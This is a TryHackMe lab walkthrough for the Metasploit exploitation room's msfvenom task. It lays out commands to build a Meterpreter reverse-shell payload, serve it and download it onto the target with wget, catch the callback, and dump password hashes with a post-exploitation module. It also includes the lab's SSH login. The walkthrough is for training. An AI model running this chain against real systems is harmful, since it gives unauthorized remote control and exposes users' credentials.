Msfvenom
https://tryhackme.com/room/metasploitexploitation task 6
This is a step by step for a task 6 Metasploit: Exploitation - Msfvenom
Step 1 - Accessing the Target Machine
We're given credentials to ssh into the target machine. As you can see in the picture, I have 4 tabs open ( CTRL+SHIFT+T to open a new tab). I'll always give the code to execute, a comment explaining what each command does and a screenshot where I'm doing the same thing. I recommend having 4 named and coloured tabs like I do. Imho it makes the whole process easier to follow. Any text after # is a comment and is grey
# In the Target Machine tab
# Use command ssh to connect to the target machine
ssh murphy@10.10.148.173
# When prompted, type yes to continue connecting
yes
# Enter password
1q2w3e4r
# Type sudo su to get a root shell, this will give you privileges
sudo su
# Enter password again
1q2w3e4r
Step 2 - Creating a reverse TCP shell Payload
# In the Attack Machine tab (green)
# Check port 7777 is not being used by any service. This isn't necessary, it's just a precaution
lsof -i :7777 # If port isn't used, nothing will happen.
# Create a reverse_tcp payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.21.156.82 LPORT=7777 -f elf > rev_shell.elf
Step 3 - Creating a server
In the Server tab we start a simple python http server
#In the Server tab
#check port 9000 is not in use. This isn't necessary, it's just a precaution
lsof -i :9000 # If port isn't used, nothing will happen.
#start the server with this command
python3 -m http.server 9000
Step 4 - Transfering the payload
Download the payload from the server you set up in the last step
# In the Target Machine tab
# Download the payload in the Target Machine from the server using this command
wget http://10.21.156.82:9000/rev_shell.elf
# Use the chmod command to assign executable permissions
chmod +x rev_shell.elf
In the Server tab, you'll see the successful GET request. No need to do anything here, it's just letting you know download was successfull.
Step 5 - Setting up a Payload Handler
In the msfconsole we'll configure and run the payload handler
# In the Msfconsole tab
# Start Metasploit Console
msfconsole
use linux/x86/meterpreter/reverse_tcp
show options
set lhost 10.21.156.82
set lport 7777
exploit
Step 6 - Executing the Payload
# In the Target Machine tab
# Execute the payload
./rev_shell.elf
In the Msfconsole tab we select the linux/gather/hashdump module, configure it and run it.
# In the Msfconsole tab
# Use post exploitation module to dump hashes of users on the system
use linux/gather/hashdump
# See the options
show options
# Check for session id
sessions
# Set the correct session id
set session 1
# Run it
exploit
# See the usernames:hashes
Step 7 - Success
We're done
Last updated